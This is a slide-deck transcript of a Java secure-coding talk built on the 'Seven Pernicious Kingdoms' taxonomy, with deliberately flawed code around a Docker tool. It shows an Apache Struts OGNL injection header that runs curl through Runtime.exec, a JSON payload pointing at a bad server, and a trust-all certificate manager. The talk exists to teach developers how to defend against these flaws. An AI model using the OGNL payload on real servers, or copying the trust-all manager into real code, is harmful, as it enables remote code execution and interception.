SlideShare une entreprise Scribd logo
1  sur  104
Locking the Doors : 7 Pernicious
Pitfalls to avoid with Java
Steve Poole
JAX 2018
About me
Steve Poole
IBM Lead Engineer / Developer advocate
Making Java Real Since Version 0.9
Open Source Advocate
DevOps Practitioner (whatever that means!)
Driving Change
This is you.
Meerschweinchen
This talk is about
security
• It’s about how to start thinking about
secure application design
• It’s about why this really matters
• It’s a taster only
But first an important message
In 2016 Cybercrime was
estimated to be worth
450 Billion Dollars
@spoole167
Organized Cybercrime is the most profitable type of crime
In 2016 The illicit drug trade
was estimated to be worth
435 Billion Dollars
Organized Cybercrime is the most profitable type of crime
• Guess which one has the least risk to the criminal ?
• Guess which is growing the fastest ?
• Guess which one is the hardest to prosecute ?
• Guess which one is predicted to reach 2100 Billion Dollars by 2019?
• Guess which one is predicted to reach 6000 Billion Dollars by 2021?
@spoole167
0
1000
2000
3000
4000
5000
6000
2013 2014 2015 2016 2017 2018 2019 2020 2021
Cybercrime Drug trade
That’s about €600 for every
person on the planet
Cyber attackers use vulnerabilities to get into your system
And go through your system to another (and repeat)
To steal your data To change your data To crash your systems Use your compute power
Vulnerabilities are almost always simple
there are no smoking guns
Exploits are chaining together vulnerabilities
https://www.flickr.com/photos/84744710@N06/
This talk is giving you a
taster for how you can
design your software
to be less vulnerable
to attack
So: why “7 Pernicious Kingdoms” ?
A bit of a marketing
exercise
• 2005 Fortify Software released a
paper called
“Seven Pernicious Kingdoms: A
Taxonomy of Software Security
Errors”
• It caught on among the security
community
In fact there are more than 7

Seven
Pernicious
Kingdoms
Security Features
Time and State
Errors
Input Validation and Representation
API Abuse
Code Quality
Encapsulation
Environment
Todays count of Java vulnerabilities
Vulnerabilities are the way in for an attacker.
Then they’ll look around you application
Authentication, access control, confidentiality,
cryptography, privilege management.
Unexpected interactions between
threads, processes, time, and information
(shared state)
Errors related to error handling
Problems caused by metacharacters,
alternate encodings and numeric
representations. General security problems
result from trusting input.
Using an API in a manner contrary to its
intended use
Insufficient encapsulation of critical data or
functionality
Everything that is outside of the source
code but is still critical to the security of the
application
Time and State
Poor code quality leading to unpredictable
behaviour and opportunities to stress the
system in unexpected ways.
Errors
API abuse
Code Quality
Security Features
Encapsulation
Input Validation and Representation
Environment
Talk Flow
Using a real scenario
walk though some of
the 7PK looking at
code and thinking
about design
My scenario
• I’m developing a tool for Adopt OpenJDK
• Make it easy for others to get the new
drivers
• Make it easy to try out the new Java
versions with common app servers and user
applications.
• It’s designed to run locally
Plimsoll
Browser Server
Docker
Daemon
Remote
repositories
Local
repositories
WS
Cmd line
http
Adopt Server
http
Problems caused by metacharacters, alternate encodings and
numeric representations. General security problems result from
trusting input.
Input Validation and Representation
Input Validation and Representation
Forms Input.
Browser javascript code validates the form
Send the data to the server over a websocket as JSON.
Server turns JSON into Java object assuming it’s a valid
PlimsollCommand object
public class PlimsollCommand {
public String type;
public Object msg;
}
{ ‘type’ : cmd_id , ‘msg’ : {} }
Input Validation and Representation
Forms Input.
Browser javascript code validates the form
Send the data to the server over a websocket as JSON.
Server turns JSON into Java object assuming it’s a valid
PlimsollCommand object
public class PlimsollCommand {
public String type;
public Object msg;
}
Actually I expect a Map but
Object is easier to use with
the JSON parser
{ ‘type’ : cmd_id , ‘msg’ : {} }
Input Validation and Representation
My application only expects local war files to be loaded…
{ ‘type’ : ‘upload’ ,
‘msg’ : { ‘war’ : ‘file://dir/app.war’ }
}
This example gets converted into java objects
quite easily. Lets the user point me at their
application on disk. What happens if the
browser sends me this?
{ ‘type’ : ‘upload’ ,
‘msg’ : { ‘war’ :
‘http://badserver.com/badapp.war’ }
}
Input Validation and Representation
Forms Input.
Browser javascript code validates the form
Send the data to the server over a websocket as JSON.
Server turns JSON into Java object assuming it’s a valid
PlimsollCommand object
public class PlimsollCommand {
public String type;
public Object msg;
}
What would happen if the
JSON data was actually a list?
{ ‘type’ : cmd_id , ‘msg’ : [ ‘a’ , ‘bad’ , ‘thing’ ] }
Input Validation and Representation
Forms Input.
Browser javascript code validates the form
Send the data to the server over a websocket as JSON.
Server turns JSON into Java object assuming it’s a valid
PlimsollCommand object
public class PlimsollCommand {
public String type;
public Object msg;
}
Pretty obviously you cannot ever
trust what a client sends you. Ever.
What would happen if the
JSON data was actually a list?
• Input from an end point is an obvious place to be cautious
• Think of it like this…
• Every API you write. Whether REST interface or a simple class defines
a ‘contract’ with the caller.
• If that contract is not explicit and enforced your code is vulnerable.
• And it’s even more subtle than that…
Input Validation and Representation “It is the callers responsibility”
Browser Server
Docker
Daemon
Remote
repositories
Local
repositories
WS
Cmd line
http
Input Validation and Representation
Adopt Server
http
My tool uses the docker command line interface to retrieve information and run containers
“docker images”
“docker run –it ubuntu /bin/bash”
Input Validation and Representation
public classDockerCommandLineDriver{
privatestaticfinalStringDEFAULT_EXEC ="/usr/local/bin/docker";
privateStringdocker;
privatebooleanerror;
privateFileoutputFile;
privateListresults=newLinkedList();
staticenumCMD{
active,images,containers
};
privatestaticfinalString[]cmds =newString[]{ "ps-a", "images","containerls -a"};
public DockerCommandLineDriver(){
this(DEFAULT_EXEC);
}
public DockerCommandLineDriver(Stringdriver){
docker= driver;
outputFile= newFile("/tmp/docker.out");
}
Input Validation and Representation
public classDockerCommandLineDriver{
privatestaticfinalStringDEFAULT_EXEC ="/usr/local/bin/docker";
privateStringdocker;
privatebooleanerror;
privateFileoutputFile;
privateListresults=newLinkedList();
staticenumCMD{
active,images,containers
};
privatestaticfinalString[]cmds =newString[]{ "ps-a", "images","containerls -a"};
public DockerCommandLineDriver(){
this(DEFAULT_EXEC);
}
public DockerCommandLineDriver(Stringdriver){
docker= driver;
outputFile= newFile("/tmp/docker.out");
}
DockerCommandLineDrivercld = newDockerCommandLineDriver();
…
Listl= cld.run(CMD.active);
if(cld.hasError()==false){
System.out.println(l);
}
Input Validation and Representation
DockerCommandLineDrivercld = newDockerCommandLineDriver();
…
Listl= cld.run(CMD.active);
if(cld.hasError()==false){
System.out.println(l);
}
public Listrun(CMDcmd) {
Stringcmdline =cmds[cmd.ordinal()];
cmdline =docker +""+cmdline;
String[]parts=cmdline.split(" ");
ProcessBuilder pb=new ProcessBuilder(parts);
pb.redirectErrorStream(true);
pb.redirectOutput(ProcessBuilder.Redirect.to(outputFile));
try{
Process p=pb.start();
intresult =p.waitFor();
error=result !=0;
} catch (IOException | InterruptedException e) {
error=true;
}
return saveResults();
}
What’s wrong with this code?
public classDockerCommandLineDriver{
privatestaticfinalStringDEFAULT_EXEC ="/usr/local/bin/docker";
privateStringdocker;
privatebooleanerror;
privateFileoutputFile;
privateListresults=newLinkedList();
staticenumCMD{
active,images,containers
};
privatestaticfinalString[]cmds =newString[]{ "ps-a", "images","containerls -a"};
public DockerCommandLineDriver(){
this(DEFAULT_EXEC);
}
public DockerCommandLineDriver(Stringdriver){
docker= driver;
outputFile= newFile("/tmp/docker.out");
}
Input Validation and Representation
This field is never validated.
• Does it really point to a docker executable?
• What would happen if it was set to some
• other executable?
• Could simply run a version check on it!
public classDockerCommandLineDriver{
privatestaticfinalStringDEFAULT_EXEC ="/usr/local/bin/docker";
privateStringdocker;
privatebooleanerror;
privateFileoutputFile;
privateListresults=newLinkedList();
staticenumCMD{
active,images,containers
};
privatestaticfinalString[]cmds =newString[]{ "ps-a", "images","containerls -a"};
public DockerCommandLineDriver(){
this(DEFAULT_EXEC);
}
public DockerCommandLineDriver(Stringdriver){
docker= driver;
outputFile= newFile("/tmp/docker.out");
}
“docker –version”
Input Validation and Representation
Even if the field was validated
during construction it can still be
changed afterwards.
Relying on constructor validation
only is also poor practise.
public classDockerCommandLineDriver{
privatestaticfinalStringDEFAULT_EXEC ="/usr/local/bin/docker";
privateStringdocker;
privatebooleanerror;
privateFileoutputFile;
privateListresults=newLinkedList();
staticenumCMD{
active,images,containers
};
privatestaticfinalString[]cmds =newString[]{ "ps-a", "images","containerls -a"};
public DockerCommandLineDriver(){
this(DEFAULT_EXEC);
}
public DockerCommandLineDriver(Stringdriver){
docker= driver;
outputFile= newFile("/tmp/docker.out");
}
(Re)validate just before usage
Input Validation and Representation
What about this field?
Set to “/tmp/docker.out” ?
public classDockerCommandLineDriver{
privatestaticfinalStringDEFAULT_EXEC ="/usr/local/bin/docker";
privateStringdocker;
privatebooleanerror;
privateFileoutputFile;
privateListresults=newLinkedList();
staticenumCMD{
active,images,containers
};
privatestaticfinalString[]cmds =newString[]{ "ps-a", "images","containerls -a"};
public DockerCommandLineDriver(){
this(DEFAULT_EXEC);
}
public DockerCommandLineDriver(Stringdriver){
docker= driver;
outputFile= newFile("/tmp/docker.out");
}
Input Validation and Representation
With serialisation vulnerabilities I
may be able to get the code to
overwrite a critical file somewhere
else.
If I modify both the exe and file
fields I can control what data gets
written to your system
Remember constructors are not
called during deserialization. The
data is simply inserted.
public classDockerCommandLineDriver{
privatestaticfinalStringDEFAULT_EXEC ="/usr/local/bin/docker";
privateStringdocker;
privatebooleanerror;
privateFileoutputFile;
privateListresults=newLinkedList();
staticenumCMD{
active,images,containers
};
privatestaticfinalString[]cmds =newString[]{ "ps-a", "images","containerls -a"};
public DockerCommandLineDriver(){
this(DEFAULT_EXEC);
}
public DockerCommandLineDriver(Stringdriver){
docker= driver;
outputFile= newFile("/tmp/docker.out");
}
Input Validation and Representation
#1: all data received must be considered
untrusted and potentially dangerous.
• Data means anything that
comes in – command lines,
env variables, sockets, GUI,
REST , even data coming
from your own server…
• You must never trust the
systems who send you data.
• You can almost never trust
the systems you retrieve
data from
• You must validate data
when you get it AND before
you use it
Input Validation and Representation
Using an API in a manner contrary to its intended use
API Abuse
API Abuse
My tool tags all the
containers it creates with
“adoptopenjdk=true”
That makes it easier to
retrieve only the relevant
containers when talking to
docker.
I have a test to check I can
create such containers
@Test
voidtestCreatedContainerHasPlimsollLabel() {
Plimsoll p=new Plimsoll();
Stringid =p.docker.createSimpleContainer(TEST_IMAGE_NAME);
ContainerInfo ci=p.docker.inspectContainer(id);
assertNotNull(ci);
assertTrue(ci.config().labels().containsKey(DockerController.LABEL_ID));
assertTrue(p.docker.removeContainer(id));
}
API Abuse
But I want to make sure
that the calls to docker are
really working.
So I have a ‘get all’ method.
It’s not used in production
But its exposed as a test
end point…
@Test
voidtestAllContainersListHasEntries() {
Plimsoll p=new Plimsoll();
Stringid =p.docker.createSimpleContainer(TEST_IMAGE_NAME);
assertNotNull(id);
List<Container> allc =p.docker.allContainerList();
assertTrue(allc.isEmpty()==false);
assertTrue(p.docker.removeContainer(id));
}
get("/test/v1/*" , (req, res) ->plimsoll.test_v1_request.handleRequest(req,res));
API Abuse
A common vulnerability pattern is to find hidden end points like ones just for
testing.
Reading the code on github or just Googling for your sites metadata can easily
reveal them
And of course test end points tend to have less security 
Never have APIs that are just for ‘testing’ or bypass normal
authentication processes..
API Abuse
My tool allows for complex scenarios to be created.
JVM = Hotspot or OpenJ9
App Server = Tomcat or Jetty
Various versions strings.
The combinations are sent one by one…
JVM=Hotspot, AppServer=Tomcat, AppVersion=9.0
API Abuse
The code validates the entries as being
individually
correct..
 JVM=Hotspot
 AppServer=Tomcat
 AppVersion=9.4.9
But not that the combinations are valid!
API Abuse
My code also returns lists of containers so there
are page / page size type parameters..
“list containers from page 7 with page size 100”
“list containers from page 1 with page size 10”
API Abuse
My code also returns lists of containers so there
are page / page size type parameters..
“list containers from page 7 with page size 100”
“list containers from page 1 with page size 10”
What about..
“list containers from page 0 with page size -100”
“list containers from page -1 with page size 10”
“list containers from page MAX_INT with page size -MAX_INT”
Content-Type: %{(#_='multipart/form-data').
(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)
.
(@java.lang.Runtime@getRuntime().exec('curl
localhost:8000'))}
https://dzone.com/articles/will-it-pwn-cve-2017-5638-remote-code-
execution-in
Apache Struts
OGNL
If type contains “multipart/form-data’
try to parse it as form data
This fails and as part of the building an error message the
OGNL is evaluated…
#2 Never give control to the
caller by accepting
unconstrained instructions
• Calling endpoints that are
hidden
• Finding hidden fields in your
requests and changing them
• Sending unexpected but
pseudo-valid combinations of
data
• Exploring the data ranges (+
and - )
• Using an API out of context.
(like credit card validation)
• Exploiting query languages
(SQL injection plus. JQ, or
Xpath etc)
• most systems assume any call
to it is correct and do minimal
validation once the individual
elements are accepted.
API Abuse
Errors
Errors related to error handling
Errors
private Properties loadConfig() {
Propertiesp= newProperties(System.getProperties());
File f=new File("plimsoll.properties");
if(f.exists()) {
FileReader fr;
try{
fr=new FileReader(f);
p.load(fr);
fr.close();
} catch (IOException e) {
}
return p;
}
Some code – reads a
config file…
Errors
private Properties loadConfig() {
Propertiesp= newProperties(System.getProperties());
File f=new File("plimsoll.properties");
if(f.exists()) {
FileReader fr;
try{
fr=new FileReader(f);
p.load(fr);
fr.close();
} catch (IOException e) {
}
return p;
}
Don’t assuming that only
the errors you expect will
occur - such as
FileNotFoundException
Errors
private Properties loadConfig() {
Propertiesp= newProperties(System.getProperties());
File f=new File("plimsoll.properties");
if(f.exists()) {
FileReader fr;
try{
fr=new FileReader(f);
p.load(fr);
fr.close();
} catch (FileNotFoundException e) {
// allowed
} catch (IOException e) {
// not expected
}
return p;
}
Better!
Errors
Catching or throwing exceptions in a more generic manner than needed can hide
the activities of the attacker
Either because of a lack of specific info in logging and log analysis
i.e: “Config file not found”. Vs “Unexpected IO Error reading the config file”
Or simply because the unusual exception is treated as usual
Errors
Catching or throwing exceptions in a more generic manner than needed can hide
the activities of the attacker
Either because of a lack of specific info in logging and log analysis
i.e: “Config file not found”. Vs “Unexpected IO Error reading the config file”
Or simply because the unusual exception is treated as usual
BTW - catching NullPointer Exceptions as a way of detecting ‘expected’ nulls is also
poor practice – as described above. You simply can’t tell which NPE is which.
Errors
Being to helpful can also be a problem.
public IHandlerloadHandler(String datatype) throws IOException {
StringclassName=handlers.get(datatype);
Class<IHandler> handlerClass;
try{
handlerClass = (Class<IHandler>) Class.forName(className);
return handlerClass.newInstance();
}catch (Exception e) {
throw new IOException("handler for type "+datatype+" of class "+className+" cannot beloaded");
}
}
Errors
What happens at runtime?
public IHandlerloadHandler(String datatype) throws IOException {
StringclassName=handlers.get(datatype);
Class<IHandler> handlerClass;
try{
handlerClass = (Class<IHandler>) Class.forName(className);
return handlerClass.newInstance();
}catch (Exception e) {
throw new IOException("handler for type "+datatype+" of class "+className+" cannot beloaded");
}
}
try {
IHandlerh=loadHandler("foo.data");
…
}
catch (IOException e) {
System.out.println(e.getMessage());
}
Errors
What errors might happen?
public IHandlerloadHandler(String datatype) throws IOException {
StringclassName=handlers.get(datatype);
Class<IHandler> handlerClass;
try{
handlerClass = (Class<IHandler>) Class.forName(className);
return handlerClass.newInstance();
}catch (Exception e) {
throw new IOException("handler for type "+datatype+" of class "+className+" cannot beloaded");
}
}
try {
IHandlerh=loadHandler("foo.data");
…
}
catch (IOException e) {
System.out.println(e.getMessage());
}
Errors
public IHandlerloadHandler(String datatype) throws IOException {
StringclassName=handlers.get(datatype);
Class<IHandler> handlerClass;
try{
handlerClass = (Class<IHandler>) Class.forName(className);
return handlerClass.newInstance();
}catch (Exception e) {
throw new IOException("handler for type "+datatype+" of class "+className+" cannot beloaded");
}
}
try {
IHandlerh=loadHandler("foo.data");
…
}
catch (IOException e) {
System.out.println(e.getMessage());
}
Handler for type foo.data of class null cannot be loaded
Handler for type foo.data of class com.acme.handler
cannot be loaded
What errors might happen?
Errors
public IHandlerloadHandler(String datatype) throws IOException {
StringclassName=handlers.get(datatype);
Class<IHandler> handlerClass;
try{
handlerClass = (Class<IHandler>) Class.forName(className);
return handlerClass.newInstance();
}catch (Exception e) {
throw new IOException("handler for type "+datatype+" of class "+className+" cannot beloaded");
}
}
try {
IHandlerh=loadHandler("java.ext.dirs");
…
}
catch (IOException e) {
System.out.println(e.getMessage());
}
Handler for type java.ext.dirs of class
/Users/spoole/Library/Java/Extensions:
/Library/Java/JavaVirtualMachines/jdk1.8.0_102.jdk/Contents/
Home/jre/lib/ext:
/Library/Java/Extensions:/Network/Library/Java/Extensions:
/System/Library/Java/Extensions:
/usr/lib/java cannot be loaded
What errors might happen?
Quite often ‘handlers’
will be a Properties
object.backed by
System.getProperties so
you can use –D on the
command line
Errors
Driving code down error paths is a profitable exercise
for the attacker. Many Remote Code Execution
vulnerabilities occur due to code execution during
object instantiation etc – even if subsequently failing a
class cast or similar
Correct error
management
is the flipside
of correct
validation
#3 Error paths are as critical as normal flows
#4 Report only enough information to
identify the situation
• In general we’re poor at
dealing with errors in our
code.
• Developers focus on the
positive side.
• With consequential lack of
testing for error paths and
checking correct behavior
Errors
Security Features
Authentication, access control, confidentiality, cryptography, privilege management.
Security Features
“I don’t need any security as the
system is local…”
“I’ll add security later”
“I’m not sure what security means”
Security Features
Many vulnerabilities come from poor authentication and access control
methods but ‘Security’ is a wider topic.
Confidentiality : Managing the data in your care
Cryptography : methods to ensure information is kept private
Privilege management: Ensuring actors are who they say they are
“I don’t need any security as the system is local…”
Security Features
Browser Server
Docker
Daemon
Remote
repositories
Local
repositories
WS
Cmd line
http
Adopt Server
http
“I don’t need any security as the system is local…”
Security Features
Browser Server
Docker
Daemon
Remote
repositories
Local
repositories
WS
Cmd line
http
Adopt Server
http
The browser is vulnerable to Cross Site Scripting attacks. So a remote attacker could get on to your system
“I don’t need any security as the system is local…”
Security Features
Browser Server
Docker
Daemon
Remote
repositories
Local
repositories
WS
Cmd line
http
Adopt Server
http
Since my tool uses an API that is unconstrained (ie the command line). The attacker could do anything
And the tool is downloading and running code from the web – another attack point
“I don’t need any security as the system is local…”
Security Features
Browser Server
Docker
Daemon
Remote
repositories
Local
repositories
WS
Cmd line
http
Adopt Server
http
The docker instance may have access to a secure repository. Without security my tool is enabling an easy bypass of
any access controls. The contents of the server are now available for a hacker to explore or use.
“I don’t need any security as the system is local…”
Security Features
Browser Server
Docker
Daemon
Remote
repositories
Local
repositories
WS
Cmd line
http
Adopt Server
http
So actually my tool needs really good security features.
Security Features
A few examples of vulnerable designs
Security Features
Trusting the end user not to tamper with the data
Cookie[] cookies =
request.getCookies();
for (int i =0; i< cookies.length; i++) {
Cookie c = cookies[i];
if (c.getName().equals("role")) {
userRole = c.getValue();
}
}
Security Features
Trusting the end user not to tamper with the data
Cookie[] cookies =
request.getCookies();
for (int i =0; i< cookies.length; i++) {
Cookie c = cookies[i];
if (c.getName().equals("role")) {
userRole = c.getValue();
}
}
Does encryption solve this?
Security Features
Trusting the end user not to tamper with the data
Cookie[] cookies =
request.getCookies();
for (int i =0; i< cookies.length; i++) {
Cookie c = cookies[i];
if (c.getName().equals("role")) {
userRole = c.getValue();
}
}
No!
XSS attacks often replace
encrypted cookies etc with
ones from another session
that has the required
privileges.
You must have additional
privilege management
processes in play
Security Features
My code has a endpoint that allows the
client to read the config
get: ”/api/v1/config/<key_name>”.
Returns json :
{ “key”: key_name , “value” : value }
public StringgetConfigValue(String key) {
return config.getProperty(key);
}
private Properties loadConfig() {
Properties p=new Properties( System.getProperties() );
..
Poor confidentiality management
Security Features
My code has a endpoint that allows the
client to read the config
get: ”/api/v1/config/<key_name>”.
Returns json :
{ “key”: key_name , “value” : value }
public StringgetConfigValue(String key) {
return config.getProperty(key);
}
private Properties loadConfig() {
Properties p=new Properties( System.getProperties() );
..
Poor confidentiality management
Since the config was backed by
System.getProperties all my system
properties are exposed..
private Properties loadConfig() {
Properties p=new Properties( System.getProperties() );
File f =new File("plimsoll.properties");
if(f.exists()) {
FileReader fr;
try {
fr=new FileReader(f);
p.load(fr);
fr.close();
} catch (IOException e) {
}
return p;
}
Security Features
Unsophisticated credentials management
-Ddocker.user=foo -Ddocker.password=bar.
Storing information
In text files. Easily
readable.
Easily changed
on the command line.
(turns up in the logs)
Security Features
Unsophisticated credentials management
That end up in your git repo…
Q: Can you easily remove password data from your
repo once committed?
Security Features
Unsophisticated credentials management
That end up in your git repo…
A: these people seem to think so..
TrustManager[] trustAllCerts = new TrustManager[]{
new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() {
return null;
}
public void checkClientTrusted(
X509Certificate[] certs, String authType) {
}
public void checkServerTrusted(
X509Certificate[] certs, String authType) {
}
public boolean isClientTrusted( X509Certificate[] cert) {
return true;
}
public boolean isServerTrusted( X509Certificate[] cert) {
return true;
}
}}
Security Features
Deliberate weakening of security
protocols
Security Features
Defaulting to full access or running too much under privilege
method() {
AccessController.doPrivileged( new PrivilegedAction())
{
public Object run() {
// my app goes here
}
};
}
#5 Access controls as near to business logic as possible
#6 Keep credentials encrypted, safe and out of memory
#7 Fail safely
#8 Know your responsibilities for others
• For many the word ‘security’
is content free. Its all
someone elses problem.
• It’s not – every system needs
to understand its security
posture.
• Where do you check access
control?
• Where and do you store
credentials?
• Will you default to a safe
mode or an ‘all access pass
mode’ ?
• BTW - How much code gets
run before you say no?
Security Features
This is straightforward
If your system is too complex
to understand
Or just poorly written. It’s
more likely to have edge cases,
weak spots etc
So more open to being
attacked
Code Quality
#9 Keep it simple
# 10 Have a full test suite
# 11 test for failing conditions:
even security related
Poor code quality leading to unpredictable behaviour and
opportunities to stress the system in unexpected ways
Using the command line version
of docker (when I could use the
REST API)
Having a selection process for
items with a specific tag.
(Exposes all the docker data if
hacked)
Insecure API to read config
Encapsulation
Insufficient encapsulation of critical data or functionality
Errors that allow functionality or data
to cross trust boundaries
Escalation of data access privileges
Insecure import of untrusted code
Exposure of information through
unprotected resources
#12 use and immutable state where at all possible
#13 Do not give away extraneous data
#14 Only hold the least amount of critical data – and throw it away
Soon as possible
#15 Reduce functionality to just the usecases needed.
No nice-to-haves !
#16 control of state never
leaves your system
• Client can send you requests
to change state but it must
never own the state.
Time and State
Unexpected interactions between threads, processes, time,
and information (shared state)
people put state into a cookie and
assume it cant be modified if
encrypted..
What happens if someone sends you
an encrypted state object from another
session…
Did you have a flag in the state that
said the user had higher privileges.?
• All the parts of your development
process
• The tools you use
• Your dependencies
• The operating system
• The build machines.
• The code repository
• All these can be vulnerable to
attack.
Environment
Authentication, access control, confidentiality,
cryptography, privilege management.
Unexpected interactions between
threads, processes, time, and information
(shared state)
Errors related to error handling
Problems caused by metacharacters,
alternate encodings and numeric
representations. General security problems
result from trusting input.
Using an API in a manner contrary to its
intended use
Insufficient encapsulation of critical data or
functionality
Everything that is outside of the source
code but is still critical to the security of the
application
Time and State
Poor code quality leading to unpredictable
behaviour and opportunities to stress the
system in unexpected ways.
Errors
API abuse
Code Quality
Security Features
Encapsulation
Input Validation and Representation
Environment
Phew.
• So many things ways your
application can be
vulnerable.
• Security is not something
you add after. It’s always a
part of your design thinking.
Helping you to be
more informed
cwe.mitre.org
Coding
Practises
1. Input Validation and Representation
2. API Abuse
3. Security Features
4. Time and State
5. Error Handling
6. Code Quality
7. Encapsulation
* Environment
The Seven Pernicious Kingdoms
Secure
Coding
Guidelines
for
Java SE
http://www.oracle.com/technetwork/java/seccodeguide-139067.html
Analysis
Tools
find-sec-bugs.github.io
Analysis
Tools
Secure by Design - Security Design Principles for the
Rest of Us
https://www.slideshare.net/EoinWoods1/secure-by-design-security-design-principles-
for-the-rest-of-us
Online
Guides
Online
Guides
https://www.owasp.org
Reducing Risk (Serialization)
@spoole167
https://www.ibm.com/developerworks/library/se-lookahead/
Keeping safe: it’s in your hands
@spoole167
Summary
Keep current.
Every vulnerability fix you apply is one less way in.
Learn about secure coding - https://cwe.mitre.org
Compartmentalize. Separate data, code, access controls etc.
Just like bulkhead doors in a ship: ensure one compromise
doesn’t sink your boat.
Design for intrusion. Review you levels of ‘helpfulness’ and
flexibility and learn about Penetration Testing
Learn about security tools & services - IBM App Scan,
lgtm.com
Understand that making your development life easier makes
the hackers job easier
There are bad guys out there and your
application is at risk
Don’t make it worse by ignoring the problem
https://www.flickr.com/photos/koolmann/
@spoole167
https://www.flickr.com/photos/koolmann/
Thank you
Any questions?
https://www.flickr.com/photos/koolmann/
@spoole167
Thank you for being my
Meerschweinchen

Contenu connexe

Tendances

Kerberos presentation
Kerberos presentationKerberos presentation
Kerberos presentationChris Geier
 
IBM Index Conference - 10 steps to build token based API Security
IBM Index Conference - 10 steps to build token based API SecurityIBM Index Conference - 10 steps to build token based API Security
IBM Index Conference - 10 steps to build token based API SecuritySenthilkumar Gopal
 
Con Foo 2017 - Don't Loose Sleep - Secure Your REST
Con Foo 2017 - Don't Loose Sleep - Secure Your RESTCon Foo 2017 - Don't Loose Sleep - Secure Your REST
Con Foo 2017 - Don't Loose Sleep - Secure Your RESTAdam Englander
 
A Deep Dive into Spring Application Events
A Deep Dive into Spring Application EventsA Deep Dive into Spring Application Events
A Deep Dive into Spring Application EventsVMware Tanzu
 
Modern Security with OAuth 2.0 and JWT and Spring by Dmitry Buzdin
Modern Security with OAuth 2.0 and JWT and Spring by Dmitry BuzdinModern Security with OAuth 2.0 and JWT and Spring by Dmitry Buzdin
Modern Security with OAuth 2.0 and JWT and Spring by Dmitry BuzdinJava User Group Latvia
 
Using & Abusing APIs: An Examination of the API Attack Surface
Using & Abusing APIs: An Examination of the API Attack SurfaceUsing & Abusing APIs: An Examination of the API Attack Surface
Using & Abusing APIs: An Examination of the API Attack SurfaceCA API Management
 
JavaOne2017: ACID Is So Yesterday: Maintaining Data Consistency with Sagas
JavaOne2017: ACID Is So Yesterday: Maintaining Data Consistency with SagasJavaOne2017: ACID Is So Yesterday: Maintaining Data Consistency with Sagas
JavaOne2017: ACID Is So Yesterday: Maintaining Data Consistency with SagasChris Richardson
 
Microservices Manchester: Authentication in Microservice Systems by David Borsos
Microservices Manchester: Authentication in Microservice Systems by David BorsosMicroservices Manchester: Authentication in Microservice Systems by David Borsos
Microservices Manchester: Authentication in Microservice Systems by David BorsosOpenCredo
 
An Introduction to Kerberos
An Introduction to KerberosAn Introduction to Kerberos
An Introduction to KerberosShumon Huque
 
2016 pycontw web api authentication
2016 pycontw web api authentication 2016 pycontw web api authentication
2016 pycontw web api authentication Micron Technology
 
Eclipse OMR: a modern, open-source toolkit for building language runtimes
Eclipse OMR: a modern, open-source toolkit for building language runtimesEclipse OMR: a modern, open-source toolkit for building language runtimes
Eclipse OMR: a modern, open-source toolkit for building language runtimesDev_Events
 
Kerberos Authentication Process In Windows
Kerberos Authentication Process In WindowsKerberos Authentication Process In Windows
Kerberos Authentication Process In Windowsniteshitimpulse
 
AWS re:Invent 2016: Serverless Authentication and Authorization: Identity Man...
AWS re:Invent 2016: Serverless Authentication and Authorization: Identity Man...AWS re:Invent 2016: Serverless Authentication and Authorization: Identity Man...
AWS re:Invent 2016: Serverless Authentication and Authorization: Identity Man...Amazon Web Services
 
OAuth with AngularJS and WebAPI - SoCal Code Camp 2015
OAuth with AngularJS and WebAPI - SoCal Code Camp 2015OAuth with AngularJS and WebAPI - SoCal Code Camp 2015
OAuth with AngularJS and WebAPI - SoCal Code Camp 2015Stuart
 
Stateless authentication for microservices - GR8Conf 2015
Stateless authentication for microservices - GR8Conf 2015Stateless authentication for microservices - GR8Conf 2015
Stateless authentication for microservices - GR8Conf 2015Alvaro Sanchez-Mariscal
 
Stateless authentication with OAuth 2 and JWT - JavaZone 2015
Stateless authentication with OAuth 2 and JWT - JavaZone 2015Stateless authentication with OAuth 2 and JWT - JavaZone 2015
Stateless authentication with OAuth 2 and JWT - JavaZone 2015Alvaro Sanchez-Mariscal
 
An Authentication and Authorization Architecture for a Microservices World
An Authentication and Authorization Architecture for a Microservices WorldAn Authentication and Authorization Architecture for a Microservices World
An Authentication and Authorization Architecture for a Microservices WorldVMware Tanzu
 
Building an API Security Ecosystem
Building an API Security EcosystemBuilding an API Security Ecosystem
Building an API Security EcosystemPrabath Siriwardena
 

Tendances (20)

Kerberos presentation
Kerberos presentationKerberos presentation
Kerberos presentation
 
IBM Index Conference - 10 steps to build token based API Security
IBM Index Conference - 10 steps to build token based API SecurityIBM Index Conference - 10 steps to build token based API Security
IBM Index Conference - 10 steps to build token based API Security
 
Con Foo 2017 - Don't Loose Sleep - Secure Your REST
Con Foo 2017 - Don't Loose Sleep - Secure Your RESTCon Foo 2017 - Don't Loose Sleep - Secure Your REST
Con Foo 2017 - Don't Loose Sleep - Secure Your REST
 
A Deep Dive into Spring Application Events
A Deep Dive into Spring Application EventsA Deep Dive into Spring Application Events
A Deep Dive into Spring Application Events
 
Attacking REST API
Attacking REST APIAttacking REST API
Attacking REST API
 
Kerberos ppt
Kerberos pptKerberos ppt
Kerberos ppt
 
Modern Security with OAuth 2.0 and JWT and Spring by Dmitry Buzdin
Modern Security with OAuth 2.0 and JWT and Spring by Dmitry BuzdinModern Security with OAuth 2.0 and JWT and Spring by Dmitry Buzdin
Modern Security with OAuth 2.0 and JWT and Spring by Dmitry Buzdin
 
Using & Abusing APIs: An Examination of the API Attack Surface
Using & Abusing APIs: An Examination of the API Attack SurfaceUsing & Abusing APIs: An Examination of the API Attack Surface
Using & Abusing APIs: An Examination of the API Attack Surface
 
JavaOne2017: ACID Is So Yesterday: Maintaining Data Consistency with Sagas
JavaOne2017: ACID Is So Yesterday: Maintaining Data Consistency with SagasJavaOne2017: ACID Is So Yesterday: Maintaining Data Consistency with Sagas
JavaOne2017: ACID Is So Yesterday: Maintaining Data Consistency with Sagas
 
Microservices Manchester: Authentication in Microservice Systems by David Borsos
Microservices Manchester: Authentication in Microservice Systems by David BorsosMicroservices Manchester: Authentication in Microservice Systems by David Borsos
Microservices Manchester: Authentication in Microservice Systems by David Borsos
 
An Introduction to Kerberos
An Introduction to KerberosAn Introduction to Kerberos
An Introduction to Kerberos
 
2016 pycontw web api authentication
2016 pycontw web api authentication 2016 pycontw web api authentication
2016 pycontw web api authentication
 
Eclipse OMR: a modern, open-source toolkit for building language runtimes
Eclipse OMR: a modern, open-source toolkit for building language runtimesEclipse OMR: a modern, open-source toolkit for building language runtimes
